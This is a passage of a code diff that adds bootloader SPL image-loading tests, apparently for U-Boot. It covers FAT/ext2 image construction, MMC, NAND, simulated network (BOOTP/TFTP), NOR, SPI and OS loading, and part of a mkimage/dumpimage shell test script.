+ if (ext) {
+ filename_len = ext - filename;
+ ext++;
+ ext_len = strlen(ext);
+ } else {
+ filename_len = strlen(filename);
+ ext_len = 0;
+ }
+
+ if (filename_len > 8 || ext_len > 3)
+ return 0;
+
+ if (data_offset)
+ *data_offset = file_sector * sector_size;
+
+ if (!dst)
+ goto out;
+
+ bs->sector_size[0] = sector_size & 0xff;
+ bs->sector_size[1] = sector_size >> 8;
+ bs->cluster_size = 1;
+ bs->reserved = cpu_to_le16(fat_sector);
+ bs->fats = 1;
+ bs->media = 0xf8;
+ bs->total_sect = cpu_to_le32(sectors);
+ bs->fat32_length = cpu_to_le32(1);
+ bs->root_cluster = cpu_to_le32(root_sector);
+
+ vi->ext_boot_sign = 0x29;
+ memcpy(vi->fs_type, "FAT32 ", sizeof(vi->fs_type));
+
+ memcpy(dst + 0x1fe, "\x55\xAA", 2);
+
+ fat[0] = cpu_to_le32(0x0ffffff8);
+ fat[1] = cpu_to_le32(0x0fffffff);
+ fat[2] = cpu_to_le32(0x0ffffff8);
+ for (i = file_sector; file_sectors > 1; file_sectors--, i++)
+ fat[i] = cpu_to_le32(i + 1);
+ fat[i] = cpu_to_le32(0x0ffffff8);
+
+ for (i = 0; i < sizeof(dirent->nameext.name); i++) {
+ if (i < filename_len)
+ dirent->nameext.name[i] = toupper(filename[i]);
+ else
+ dirent->nameext.name[i] = ' ';
+ }
+
+ for (i = 0; i < sizeof(dirent->nameext.ext); i++) {
+ if (i < ext_len)
+ dirent->nameext.ext[i] = toupper(ext[i]);
+ else
+ dirent->nameext.ext[i] = ' ';
+ }
+
+ dirent->start = cpu_to_le16(file_sector);
+ dirent->size = cpu_to_le32(size);
+
+out:
+ return sectors * sector_size;
+}
+
+typedef size_t (*create_fs_t)(void *, size_t, const char *, size_t *);
+
+static int spl_test_fs(struct unit_test_state *uts, const char *test_name,
+ create_fs_t create)
+{
+ const char *filename = CONFIG_SPL_FS_LOAD_PAYLOAD_NAME;
+ struct blk_desc *dev_desc;
+ char *data_write, *data_read;
+ void *fs;
+ size_t fs_size, fs_data, fs_blocks, data_size = SPL_TEST_DATA_SIZE;
+ loff_t actread;
+
+ fs_size = create(NULL, data_size, filename, &fs_data);
+ ut_assert(fs_size);
+ fs = calloc(fs_size, 1);
+ ut_assertnonnull(fs);
+
+ data_write = fs + fs_data;
+ generate_data(data_write, data_size, test_name);
+ ut_asserteq(fs_size, create(fs, data_size, filename, NULL));
+
+ dev_desc = blk_get_devnum_by_uclass_id(UCLASS_MMC, 0);
+ ut_assertnonnull(dev_desc);
+ ut_asserteq(512, dev_desc->blksz);
+ fs_blocks = fs_size / dev_desc->blksz;
+ ut_asserteq(fs_blocks, blk_dwrite(dev_desc, 0, fs_blocks, fs));
+
+ /* We have to use malloc so we can call virt_to_phys */
+ data_read = malloc_cache_aligned(data_size);
+ ut_assertnonnull(data_read);
+ ut_assertok(fs_set_blk_dev_with_part(dev_desc, 0));
+ ut_assertok(fs_read("/" CONFIG_SPL_FS_LOAD_PAYLOAD_NAME,
+ virt_to_phys(data_read), 0, data_size, &actread));
+ ut_asserteq(data_size, actread);
+ ut_asserteq_mem(data_write, data_read, data_size);
+
+ free(data_read);
+ free(fs);
+ return 0;
+}
+
+static int spl_test_ext(struct unit_test_state *uts)
+{
+ return spl_test_fs(uts, __func__, create_ext2);
+}
+SPL_TEST(spl_test_ext, DM_FLAGS);
+
+static int spl_test_fat(struct unit_test_state *uts)
+{
+ spl_fat_force_reregister();
+ return spl_test_fs(uts, __func__, create_fat);
+}
+SPL_TEST(spl_test_fat, DM_FLAGS);
+
+static bool spl_mmc_raw;
+
+u32 spl_mmc_boot_mode(struct mmc *mmc, const u32 boot_device)
+{
+ return spl_mmc_raw ? MMCSD_MODE_RAW : MMCSD_MODE_FS;
+}
+
+static int spl_test_mmc_fs(struct unit_test_state *uts, const char *test_name,
+ enum spl_test_image type, create_fs_t create_fs,
+ bool blk_mode)
+{
+ const char *filename = CONFIG_SPL_FS_LOAD_PAYLOAD_NAME;
+ struct blk_desc *dev_desc;
+ size_t fs_size, fs_data, img_size, img_data,
+ plain_size = SPL_TEST_DATA_SIZE;
+ struct spl_image_info info_write = {
+ .name = test_name,
+ .size = type == LEGACY_LZMA ? lzma_compressed_size :
+ plain_size,
+ }, info_read = { };
+ struct disk_partition part = {
+ .start = 1,
+ .sys_ind = 0x83,
+ };
+ struct spl_image_loader *loader =
+ SPL_LOAD_IMAGE_GET(0, BOOT_DEVICE_MMC1, spl_mmc_load_image);
+ struct spl_boot_device bootdev = {
+ .boot_device = loader->boot_device,
+ };
+ void *fs;
+ char *data, *plain;
+
+ img_size = create_image(NULL, type, &info_write, &img_data);
+ ut_assert(img_size);
+ fs_size = create_fs(NULL, img_size, filename, &fs_data);
+ ut_assert(fs_size);
+ fs = calloc(fs_size, 1);
+ ut_assertnonnull(fs);
+
+ data = fs + fs_data + img_data;
+ if (type == LEGACY_LZMA) {
+ plain = malloc(plain_size);
+ ut_assertnonnull(plain);
+ generate_data(plain, plain_size, "lzma");
+ memcpy(data, lzma_compressed, lzma_compressed_size);
+ } else {
+ plain = data;
+ generate_data(plain, plain_size, test_name);
+ }
+ ut_asserteq(img_size, create_image(fs + fs_data, type, &info_write,
+ NULL));
+ ut_asserteq(fs_size, create_fs(fs, img_size, filename, NULL));
+
+ dev_desc = blk_get_devnum_by_uclass_id(UCLASS_MMC, 0);
+ ut_assertnonnull(dev_desc);
+
+ ut_asserteq(512, dev_desc->blksz);
+ part.size = fs_size / dev_desc->blksz;
+ ut_assertok(write_mbr_partitions(dev_desc, &part, 1, 0));
+ ut_asserteq(part.size, blk_dwrite(dev_desc, part.start, part.size, fs));
+
+ spl_mmc_raw = false;
+ if (blk_mode)
+ ut_assertok(spl_blk_load_image(&info_read, &bootdev, UCLASS_MMC,
+ 0, 1));
+ else
+ ut_assertok(loader->load_image(&info_read, &bootdev));
+ if (check_image_info(uts, &info_write, &info_read))
+ return CMD_RET_FAILURE;
+ if (type == LEGACY_LZMA)
+ ut_asserteq(plain_size, info_read.size);
+ ut_asserteq_mem(plain, phys_to_virt(info_write.load_addr), plain_size);
+
+ if (type == LEGACY_LZMA)
+ free(plain);
+ free(fs);
+ return 0;
+}
+
+static int spl_test_blk(struct unit_test_state *uts, const char *test_name,
+ enum spl_test_image type)
+{
+ spl_fat_force_reregister();
+ if (spl_test_mmc_fs(uts, test_name, type, create_fat, true))
+ return CMD_RET_FAILURE;
+
+ return spl_test_mmc_fs(uts, test_name, type, create_ext2, true);
+}
+SPL_IMG_TEST(spl_test_blk, LEGACY, DM_FLAGS);
+SPL_IMG_TEST(spl_test_blk, LEGACY_LZMA, DM_FLAGS);
+SPL_IMG_TEST(spl_test_blk, IMX8, DM_FLAGS);
+SPL_IMG_TEST(spl_test_blk, FIT_EXTERNAL, DM_FLAGS);
+SPL_IMG_TEST(spl_test_blk, FIT_INTERNAL, DM_FLAGS);
+
+static int spl_test_mmc_write_image(struct unit_test_state *uts, void *img,
+ size_t img_size)
+{
+ struct blk_desc *dev_desc;
+ size_t img_blocks;
+
+ dev_desc = blk_get_devnum_by_uclass_id(UCLASS_MMC, 0);
+ ut_assertnonnull(dev_desc);
+
+ img_blocks = DIV_ROUND_UP(img_size, dev_desc->blksz);
+ ut_asserteq(img_blocks, blk_dwrite(dev_desc,
+ CONFIG_SYS_MMCSD_RAW_MODE_U_BOOT_SECTOR,
+ img_blocks, img));
+
+ spl_mmc_raw = true;
+ return 0;
+}
+
+static int spl_test_mmc(struct unit_test_state *uts, const char *test_name,
+ enum spl_test_image type)
+{
+ spl_mmc_clear_cache();
+ spl_fat_force_reregister();
+
+ if (spl_test_mmc_fs(uts, test_name, type, create_ext2, false))
+ return CMD_RET_FAILURE;
+
+ if (spl_test_mmc_fs(uts, test_name, type, create_fat, false))
+ return CMD_RET_FAILURE;
+
+ return do_spl_test_load(uts, test_name, type,
+ SPL_LOAD_IMAGE_GET(0, BOOT_DEVICE_MMC1,
+ spl_mmc_load_image),
+ spl_test_mmc_write_image);
+}
+SPL_IMG_TEST(spl_test_mmc, LEGACY, DM_FLAGS);
+SPL_IMG_TEST(spl_test_mmc, LEGACY_LZMA, DM_FLAGS);
+SPL_IMG_TEST(spl_test_mmc, IMX8, DM_FLAGS);
+SPL_IMG_TEST(spl_test_mmc, FIT_EXTERNAL, DM_FLAGS);
+SPL_IMG_TEST(spl_test_mmc, FIT_INTERNAL, DM_FLAGS);
diff --git a/test/image/spl_load_nand.c b/test/image/spl_load_nand.c
new file mode 100644
index 00000000000..ec242207948
--- /dev/null
+++ b/test/image/spl_load_nand.c
@@ -0,0 +1,56 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2023 Sean Anderson <seanga2@gmail.com>
+ */
+
+#include <nand.h>
+#include <spl.h>
+#include <test/spl.h>
+#include <test/ut.h>
+
+uint32_t spl_nand_get_uboot_raw_page(void);
+
+static int spl_test_nand_write_image(struct unit_test_state *uts, void *img,
+ size_t img_size)
+{
+ uint32_t off = spl_nand_get_uboot_raw_page();
+ struct mtd_info *mtd;
+ struct erase_info erase = { };
+ size_t length;
+
+ nand_reinit();
+ mtd = get_nand_dev_by_index(0);
+ ut_assertnonnull(mtd);
+
+ /* Mark the first block as bad to test that it gets skipped */
+ ut_assertok(mtd_block_markbad(mtd, off & ~mtd->erasesize_mask));
+ off += mtd->erasesize;
+
+ erase.mtd = mtd;
+ erase.len = img_size + (off & mtd->erasesize_mask);
+ erase.len += mtd->erasesize_mask;
+ erase.len &= ~mtd->erasesize_mask;
+ erase.addr = off & ~mtd->erasesize_mask;
+ erase.scrub = 1;
+ ut_assertok(mtd_erase(mtd, &erase));
+
+ ut_assertok(mtd_write(mtd, off, img_size, &length, img));
+
+ return 0;
+}
+
+static int spl_test_nand(struct unit_test_state *uts, const char *test_name,
+ enum spl_test_image type)
+{
+ return do_spl_test_load(uts, test_name, type,
+ SPL_LOAD_IMAGE_GET(1, BOOT_DEVICE_NAND,
+ spl_nand_load_image),
+ spl_test_nand_write_image);
+}
+SPL_IMG_TEST(spl_test_nand, LEGACY, DM_FLAGS);
+SPL_IMG_TEST(spl_test_nand, LEGACY_LZMA, DM_FLAGS);
+SPL_IMG_TEST(spl_test_nand, IMX8, DM_FLAGS);
+SPL_IMG_TEST(spl_test_nand, FIT_INTERNAL, DM_FLAGS);
+#if !IS_ENABLED(CONFIG_SPL_LOAD_FIT_FULL)
+SPL_IMG_TEST(spl_test_nand, FIT_EXTERNAL, DM_FLAGS);
+#endif
diff --git a/test/image/spl_load_net.c b/test/image/spl_load_net.c
new file mode 100644
index 00000000000..4af6e21b8b9
--- /dev/null
+++ b/test/image/spl_load_net.c
@@ -0,0 +1,253 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2023 Sean Anderson <seanga2@gmail.com>
+ */
+
+#include <dm.h>
+#include <spl.h>
+#include <test/spl.h>
+#include <asm/eth.h>
+#include <test/ut.h>
+#include "../../net/bootp.h"
+
+/*
+ * sandbox_eth_bootp_req_to_reply()
+ *
+ * Check if a BOOTP request was sent. If so, inject a reply
+ *
+ * returns 0 if injected, -EAGAIN if not
+ */
+static int sandbox_eth_bootp_req_to_reply(struct udevice *dev, void *packet,
+ unsigned int len)
+{
+ struct eth_sandbox_priv *priv = dev_get_priv(dev);
+ struct ethernet_hdr *eth = packet;
+ struct ip_udp_hdr *ip;
+ struct bootp_hdr *bp;
+ struct ethernet_hdr *eth_recv;
+ struct ip_udp_hdr *ipr;
+ struct bootp_hdr *bpr;
+
+ if (ntohs(eth->et_protlen) != PROT_IP)
+ return -EAGAIN;
+
+ ip = packet + ETHER_HDR_SIZE;
+ if (ip->ip_p != IPPROTO_UDP)
+ return -EAGAIN;
+
+ if (ntohs(ip->udp_dst) != PORT_BOOTPS)
+ return -EAGAIN;
+
+ bp = (void *)ip + IP_UDP_HDR_SIZE;
+ if (bp->bp_op != OP_BOOTREQUEST)
+ return -EAGAIN;
+
+ /* Don't allow the buffer to overrun */
+ if (priv->recv_packets >= PKTBUFSRX)
+ return 0;
+
+ /* reply to the request */
+ eth_recv = (void *)priv->recv_packet_buffer[priv->recv_packets];
+ memcpy(eth_recv, packet, len);
+ ipr = (void *)eth_recv + ETHER_HDR_SIZE;
+ bpr = (void *)ipr + IP_UDP_HDR_SIZE;
+ memcpy(eth_recv->et_dest, eth->et_src, ARP_HLEN);
+ memcpy(eth_recv->et_src, priv->fake_host_hwaddr, ARP_HLEN);
+ ipr->ip_sum = 0;
+ ipr->ip_off = 0;
+ net_write_ip(&ipr->ip_dst, net_ip);
+ net_write_ip(&ipr->ip_src, priv->fake_host_ipaddr);
+ ipr->ip_sum = compute_ip_checksum(ipr, IP_HDR_SIZE);
+ ipr->udp_src = ip->udp_dst;
+ ipr->udp_dst = ip->udp_src;
+
+ bpr->bp_op = OP_BOOTREPLY;
+ net_write_ip(&bpr->bp_yiaddr, net_ip);
+ net_write_ip(&bpr->bp_siaddr, priv->fake_host_ipaddr);
+ copy_filename(bpr->bp_file, CONFIG_BOOTFILE, sizeof(CONFIG_BOOTFILE));
+ memset(&bpr->bp_vend, 0, sizeof(bpr->bp_vend));
+
+ priv->recv_packet_length[priv->recv_packets] = len;
+ ++priv->recv_packets;
+
+ return 0;
+}
+
+struct spl_test_net_priv {
+ struct unit_test_state *uts;
+ void *img;
+ size_t img_size;
+ u16 port;
+};
+
+/* Well known TFTP port # */
+#define TFTP_PORT 69
+/* Transaction ID, chosen at random */
+#define TFTP_TID 21313
+
+/*
+ * TFTP operations.
+ */
+#define TFTP_RRQ 1
+#define TFTP_DATA 3
+#define TFTP_ACK 4
+
+/* default TFTP block size */
+#define TFTP_BLOCK_SIZE 512
+
+struct tftp_hdr {
+ u16 opcode;
+ u16 block;
+};
+
+#define TFTP_HDR_SIZE sizeof(struct tftp_hdr)
+
+/*
+ * sandbox_eth_tftp_req_to_reply()
+ *
+ * Check if a TFTP request was sent. If so, inject a reply. We don't support
+ * options, and we don't check for rollover, so we are limited files of less
+ * than 32M.
+ *
+ * returns 0 if injected, -EAGAIN if not
+ */
+static int sandbox_eth_tftp_req_to_reply(struct udevice *dev, void *packet,
+ unsigned int len)
+{
+ struct eth_sandbox_priv *priv = dev_get_priv(dev);
+ struct spl_test_net_priv *test_priv = priv->priv;
+ struct ethernet_hdr *eth = packet;
+ struct ip_udp_hdr *ip;
+ struct tftp_hdr *tftp;
+ struct ethernet_hdr *eth_recv;
+ struct ip_udp_hdr *ipr;
+ struct tftp_hdr *tftpr;
+ size_t size;
+ u16 block;
+
+ if (ntohs(eth->et_protlen) != PROT_IP)
+ return -EAGAIN;
+
+ ip = packet + ETHER_HDR_SIZE;
+ if (ip->ip_p != IPPROTO_UDP)
+ return -EAGAIN;
+
+ if (ntohs(ip->udp_dst) == TFTP_PORT) {
+ tftp = (void *)ip + IP_UDP_HDR_SIZE;
+ if (htons(tftp->opcode) != TFTP_RRQ)
+ return -EAGAIN;
+
+ block = 0;
+ } else if (ntohs(ip->udp_dst) == TFTP_TID) {
+ tftp = (void *)ip + IP_UDP_HDR_SIZE;
+ if (htons(tftp->opcode) != TFTP_ACK)
+ return -EAGAIN;
+
+ block = htons(tftp->block);
+ } else {
+ return -EAGAIN;
+ }
+
+ if (block * TFTP_BLOCK_SIZE > test_priv->img_size)
+ return 0;
+
+ size = min(test_priv->img_size - block * TFTP_BLOCK_SIZE,
+ (size_t)TFTP_BLOCK_SIZE);
+
+ /* Don't allow the buffer to overrun */
+ if (priv->recv_packets >= PKTBUFSRX)
+ return 0;
+
+ /* reply to the request */
+ eth_recv = (void *)priv->recv_packet_buffer[priv->recv_packets];
+ memcpy(eth_recv->et_dest, eth->et_src, ARP_HLEN);
+ memcpy(eth_recv->et_src, priv->fake_host_hwaddr, ARP_HLEN);
+ eth_recv->et_protlen = htons(PROT_IP);
+
+ ipr = (void *)eth_recv + ETHER_HDR_SIZE;
+ ipr->ip_hl_v = 0x45;
+ ipr->ip_len = htons(IP_UDP_HDR_SIZE + TFTP_HDR_SIZE + size);
+ ipr->ip_off = htons(IP_FLAGS_DFRAG);
+ ipr->ip_ttl = 255;
+ ipr->ip_p = IPPROTO_UDP;
+ ipr->ip_sum = 0;
+ net_copy_ip(&ipr->ip_dst, &ip->ip_src);
+ net_copy_ip(&ipr->ip_src, &ip->ip_dst);
+ ipr->ip_sum = compute_ip_checksum(ipr, IP_HDR_SIZE);
+
+ ipr->udp_src = htons(TFTP_TID);
+ ipr->udp_dst = ip->udp_src;
+ ipr->udp_len = htons(UDP_HDR_SIZE + TFTP_HDR_SIZE + size);
+ ipr->udp_xsum = 0;
+
+ tftpr = (void *)ipr + IP_UDP_HDR_SIZE;
+ tftpr->opcode = htons(TFTP_DATA);
+ tftpr->block = htons(block + 1);
+ memcpy((void *)tftpr + TFTP_HDR_SIZE,
+ test_priv->img + block * TFTP_BLOCK_SIZE, size);
+
+ priv->recv_packet_length[priv->recv_packets] =
+ ETHER_HDR_SIZE + IP_UDP_HDR_SIZE + TFTP_HDR_SIZE + size;
+ ++priv->recv_packets;
+
+ return 0;
+}
+
+static int spl_net_handler(struct udevice *dev, void *packet,
+ unsigned int len)
+{
+ struct eth_sandbox_priv *priv = dev_get_priv(dev);
+ int old_packets = priv->recv_packets;
+
+ priv->fake_host_ipaddr = string_to_ip("1.1.2.4");
+ net_ip = string_to_ip("1.1.2.2");
+
+ sandbox_eth_arp_req_to_reply(dev, packet, len);
+ sandbox_eth_bootp_req_to_reply(dev, packet, len);
+ sandbox_eth_tftp_req_to_reply(dev, packet, len);
+
+ if (old_packets == priv->recv_packets)
+ return 0;
+
+ return 0;
+}
+
+static int spl_test_net_write_image(struct unit_test_state *uts, void *img,
+ size_t img_size)
+{
+ struct spl_test_net_priv *test_priv = malloc(sizeof(*test_priv));
+
+ ut_assertnonnull(test_priv);
+ test_priv->uts = uts;
+ test_priv->img = img;
+ test_priv->img_size = img_size;
+
+ sandbox_eth_set_tx_handler(0, spl_net_handler);
+ sandbox_eth_set_priv(0, test_priv);
+ return 0;
+}
+
+static int spl_test_net(struct unit_test_state *uts, const char *test_name,
+ enum spl_test_image type)
+{
+ struct eth_sandbox_priv *priv;
+ struct udevice *dev;
+ int ret;
+
+ net_server_ip = string_to_ip("1.1.2.4");
+ ret = do_spl_test_load(uts, test_name, type,
+ SPL_LOAD_IMAGE_GET(0, BOOT_DEVICE_CPGMAC,
+ spl_net_load_image_cpgmac),
+ spl_test_net_write_image);
+
+ sandbox_eth_set_tx_handler(0, NULL);
+ ut_assertok(uclass_get_device(UCLASS_ETH, 0, &dev));
+ priv = dev_get_priv(dev);
+ free(priv->priv);
+ return ret;
+}
+SPL_IMG_TEST(spl_test_net, LEGACY, DM_FLAGS);
+SPL_IMG_TEST(spl_test_net, LEGACY_LZMA, DM_FLAGS);
+SPL_IMG_TEST(spl_test_net, IMX8, DM_FLAGS);
+SPL_IMG_TEST(spl_test_net, FIT_INTERNAL, DM_FLAGS);
+SPL_IMG_TEST(spl_test_net, FIT_EXTERNAL, DM_FLAGS);
diff --git a/test/image/spl_load_nor.c b/test/image/spl_load_nor.c
new file mode 100644
index 00000000000..f53a6724e27
--- /dev/null
+++ b/test/image/spl_load_nor.c
@@ -0,0 +1,40 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2023 Sean Anderson <seanga2@gmail.com>
+ */
+
+#include <dm.h>
+#include <spl.h>
+#include <asm/io.h>
+#include <test/spl.h>
+#include <test/ut.h>
+
+static void *spl_test_nor_base;
+
+unsigned long spl_nor_get_uboot_base(void)
+{
+ return virt_to_phys(spl_test_nor_base);
+}
+
+static int spl_test_nor_write_image(struct unit_test_state *uts, void *img,
+ size_t img_size)
+{
+ spl_test_nor_base = img;
+ return 0;
+}
+
+static int spl_test_nor(struct unit_test_state *uts, const char *test_name,
+ enum spl_test_image type)
+{
+ return do_spl_test_load(uts, test_name, type,
+ SPL_LOAD_IMAGE_GET(0, BOOT_DEVICE_NOR,
+ spl_nor_load_image),
+ spl_test_nor_write_image);
+}
+SPL_IMG_TEST(spl_test_nor, LEGACY, 0);
+SPL_IMG_TEST(spl_test_nor, LEGACY_LZMA, 0);
+SPL_IMG_TEST(spl_test_nor, IMX8, 0);
+SPL_IMG_TEST(spl_test_nor, FIT_INTERNAL, 0);
+#if !IS_ENABLED(CONFIG_SPL_LOAD_FIT_FULL)
+SPL_IMG_TEST(spl_test_nor, FIT_EXTERNAL, 0);
+#endif
diff --git a/test/image/spl_load_os.c b/test/image/spl_load_os.c
new file mode 100644
index 00000000000..7d5fb9b07e0
--- /dev/null
+++ b/test/image/spl_load_os.c
@@ -0,0 +1,73 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright 2021 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <image.h>
+#include <os.h>
+#include <spl.h>
+#include <test/spl.h>
+#include <test/ut.h>
+
+/* Context used for this test */
+struct text_ctx {
+ int fd;
+};
+
+static ulong read_fit_image(struct spl_load_info *load, ulong offset,
+ ulong size, void *buf)
+{
+ struct text_ctx *text_ctx = load->priv;
+ off_t ret;
+ ssize_t res;
+
+ ret = os_lseek(text_ctx->fd, offset, OS_SEEK_SET);
+ if (ret != offset) {
+ printf("Failed to seek to %zx, got %zx (errno=%d)\n", offset,
+ ret, errno);
+ return 0;
+ }
+
+ res = os_read(text_ctx->fd, buf, size);
+ if (res == -1) {
+ printf("Failed to read %lx bytes, got %ld (errno=%d)\n",
+ size, res, errno);
+ return 0;
+ }
+
+ return size;
+}
+
+static int spl_test_load(struct unit_test_state *uts)
+{
+ struct spl_image_info image;
+ struct legacy_img_hdr *header;
+ struct text_ctx text_ctx;
+ struct spl_load_info load;
+ char fname[256];
+ int ret;
+ int fd;
+
+ memset(&load, '\0', sizeof(load));
+ spl_set_bl_len(&load, 512);
+ load.read = read_fit_image;
+
+ ret = sandbox_find_next_phase(fname, sizeof(fname), true);
+ if (ret)
+ ut_assertf(0, "%s not found, error %d\n", fname, ret);
+
+ header = spl_get_load_buffer(-sizeof(*header), sizeof(*header));
+
+ fd = os_open(fname, OS_O_RDONLY);
+ ut_assert(fd >= 0);
+ ut_asserteq(512, os_read(fd, header, 512));
+ text_ctx.fd = fd;
+
+ load.priv = &text_ctx;
+
+ ut_assertok(spl_load_simple_fit(&image, &load, 0, header));
+
+ return 0;
+}
+SPL_TEST(spl_test_load, 0);
diff --git a/test/image/spl_load_spi.c b/test/image/spl_load_spi.c
new file mode 100644
index 00000000000..80836dc0dff
--- /dev/null
+++ b/test/image/spl_load_spi.c
@@ -0,0 +1,41 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2023 Sean Anderson <seanga2@gmail.com>
+ */
+
+#include <dm.h>
+#include <spi_flash.h>
+#include <spl.h>
+#include <test/spl.h>
+#include <test/ut.h>
+
+static int spl_test_spi_write_image(struct unit_test_state *uts, void *img,
+ size_t img_size)
+{
+ struct spi_flash *flash;
+
+ flash = spi_flash_probe(spl_spi_boot_bus(), spl_spi_boot_cs(),
+ CONFIG_SF_DEFAULT_SPEED,
+ CONFIG_SF_DEFAULT_MODE);
+ ut_assertnonnull(flash);
+ ut_assertok(spi_flash_write(flash, spl_spi_get_uboot_offs(flash),
+ img_size, img));
+
+ return 0;
+}
+
+static int spl_test_spi(struct unit_test_state *uts, const char *test_name,
+ enum spl_test_image type)
+{
+ return do_spl_test_load(uts, test_name, type,
+ SPL_LOAD_IMAGE_GET(1, BOOT_DEVICE_SPI,
+ spl_spi_load_image),
+ spl_test_spi_write_image);
+}
+SPL_IMG_TEST(spl_test_spi, LEGACY, DM_FLAGS);
+SPL_IMG_TEST(spl_test_spi, LEGACY_LZMA, DM_FLAGS);
+SPL_IMG_TEST(spl_test_spi, IMX8, DM_FLAGS);
+SPL_IMG_TEST(spl_test_spi, FIT_INTERNAL, DM_FLAGS);
+#if !IS_ENABLED(CONFIG_SPL_LOAD_FIT_FULL)
+SPL_IMG_TEST(spl_test_spi, FIT_EXTERNAL, DM_FLAGS);
+#endif
diff --git a/test/image/test-imagetools.sh b/test/image/test-imagetools.sh
new file mode 100755
index 00000000000..907f46a7b51
--- /dev/null
+++ b/test/image/test-imagetools.sh
@@ -0,0 +1,225 @@
+#!/bin/bash
+# SPDX-License-Identifier: GPL-2.0+
+#
+# Written by Guilherme Maciel Ferreira <guilherme.maciel.ferreira@gmail.com>
+#
+# Sanity check for mkimage and dumpimage tools
+#
+# To run this:
+#
+# make O=sandbox sandbox_config
+# make O=sandbox
+# ./test/image/test-imagetools.sh
+
+BASEDIR=sandbox
+SRCDIR=${BASEDIR}/boot
+IMAGE_NAME="v1.0-test"
+IMAGE_MULTI=linux.img
+IMAGE_FIT_ITS=linux.its
+IMAGE_FIT_ITB=linux.itb
+DATAFILE0=vmlinuz
+DATAFILE1=initrd.img
+DATAFILE2=System.map
+DATAFILES="${DATAFILE0} ${DATAFILE1} ${DATAFILE2}"
+TEST_OUT=test_output
+MKIMAGE=${BASEDIR}/tools/mkimage
+DUMPIMAGE=${BASEDIR}/tools/dumpimage
+MKIMAGE_LIST=mkimage.list
+DUMPIMAGE_LIST=dumpimage.list
+
+# Remove all the files we created
+cleanup()
+{
+ local file
+
+ for file in ${DATAFILES}; do
+ rm -f ${file} ${SRCDIR}/${file}
+ done
+ rm -f ${IMAGE_MULTI}
+ rm -f ${DUMPIMAGE_LIST}
+ rm -f ${MKIMAGE_LIST}
+ rm -f ${TEST_OUT}
+ rmdir ${SRCDIR}
+}
+
+# Check that two files are the same
+assert_equal()
+{
+ if ! diff -u $1 $2; then
+ echo "Failed."
+ cleanup
+ exit 1
+ fi
+}
+
+# Create some test files
+create_files()
+{
+ local file
+
+ mkdir -p ${SRCDIR}
+ for file in ${DATAFILES}; do
+ head -c $RANDOM /dev/urandom >${SRCDIR}/${file}
+ done
+}
+
+# Run a command, echoing it first
+do_cmd()
+{
+ local cmd="$@"
+
+ echo "# ${cmd}"
+ ${cmd} 2>&1
+}
+
+# Run a command, redirecting output
+# Args:
+# redirect_file
+# command...
+do_cmd_redir()
+{
+ local redir="$1"
+ shift
+ local cmd="$@"
+
+ echo "# ${cmd}"
+ ${cmd} >${redir}
+}
+
+# Write files into an multi-file image
+create_multi_image()
+{
+ local files="${SRCDIR}/${DATAFILE0}:${SRCDIR}/${DATAFILE1}"
+ files+=":${SRCDIR}/${DATAFILE2}"
+
+ echo -e "\nBuilding multi-file image..."
+ do_cmd ${MKIMAGE} -A x86 -O linux -T multi -n \"${IMAGE_NAME}\" \
+ -d ${files} ${IMAGE_MULTI}
+ echo "done."
+}
+
+# Extract files from an multi-file image
+extract_multi_image()
+{
+ echo -e "\nExtracting multi-file image contents..."
+ do_cmd ${DUMPIMAGE} -T multi -p 0 -o ${DATAFILE0} ${IMAGE_MULTI}
+ do_cmd ${DUMPIMAGE} -T multi -p 1 -o ${DATAFILE1} ${IMAGE_MULTI}
+ do_cmd ${DUMPIMAGE} -T multi -p 2 -o ${DATAFILE2} ${IMAGE_MULTI}
+ do_cmd ${DUMPIMAGE} -T multi -p 2 -o ${TEST_OUT} ${IMAGE_MULTI}
+ echo "done."
+}
+
+# Write files into a FIT image
+create_fit_image()
+{
+ echo " \
+ /dts-v1/; \
+ / { \
+ description = \"FIT image\"; \
+ #address-cells = <1>; \
+ \
+ images { \
+ kernel@1 { \
+ description = \"kernel\"; \
+ data = /incbin/(\"${DATAFILE0}\"); \
+ type = \"kernel\"; \
+ arch = \"sandbox\"; \
+ os = \"linux\"; \
+ compression = \"gzip\"; \
+ load = <0x40000>; \
+ entry = <0x8>; \
+ }; \
+ ramdisk@1 { \
+ description = \"filesystem\"; \
+ data = /incbin/(\"${DATAFILE1}\"); \
+ type = \"ramdisk\"; \
+ arch = \"sandbox\"; \
+ os = \"linux\"; \
+ compression = \"none\"; \
+ load = <0x80000>; \
+ entry = <0x16>; \
+ }; \
+ fdt@1 { \
+ description = \"device tree\"; \
+ data = /incbin/(\"${DATAFILE2}\"); \
+ type = \"flat_dt\"; \
+ arch = \"sandbox\"; \
+ compression = \"none\"; \
+ }; \
+ }; \
+ configurations { \
+ default = \"conf@1\"; \
+ conf@1 { \
+ kernel = \"kernel@1\"; \
+ fdt = \"fdt@1\"; \
+ }; \
+ }; \
+ }; \
+ " > ${IMAGE_FIT_ITS}
+
+ echo -e "\nBuilding FIT image..."
+ do_cmd ${MKIMAGE} -f ${IMAGE_FIT_ITS} ${IMAGE_FIT_ITB}
+ echo "done."
+}
+
+# Extract files from a FIT image
+extract_fit_image()
+{
+ echo -e "\nExtracting FIT image contents..."
+ do_cmd ${DUMPIMAGE} -T flat_dt -p 0 -o ${DATAFILE0} ${IMAGE_FIT_ITB}
+ do_cmd ${DUMPIMAGE} -T flat_dt -p 1 -o ${DATAFILE1} ${IMAGE_FIT_ITB}
+ do_cmd ${DUMPIMAGE} -T flat_dt -p 2 -o ${DATAFILE2} ${IMAGE_FIT_ITB}
+ do_cmd ${DUMPIMAGE} -T flat_dt -p 2 -o ${TEST_OUT} ${IMAGE_FIT_ITB}
+ echo "done."
+}
+
+# List the contents of a file
+# Args:
+# image filename
+list_image()
+{
+ local image="$1"
+
+ echo -e "\nListing image contents..."
+ do_cmd_redir ${MKIMAGE_LIST} ${MKIMAGE} -l ${image}
+ do_cmd_redir ${DUMPIMAGE_LIST} ${DUMPIMAGE} -l ${image}
+ echo "done."
+}
+
+main()
+{
+ local file
+
+ create_files
+
+ # Compress and extract multi-file images, compare the result
+ create_multi_image
+ extract_multi_image
+ for file in ${DATAFILES}; do
+ assert_equal ${file} ${SRCDIR}/${file}
+ done
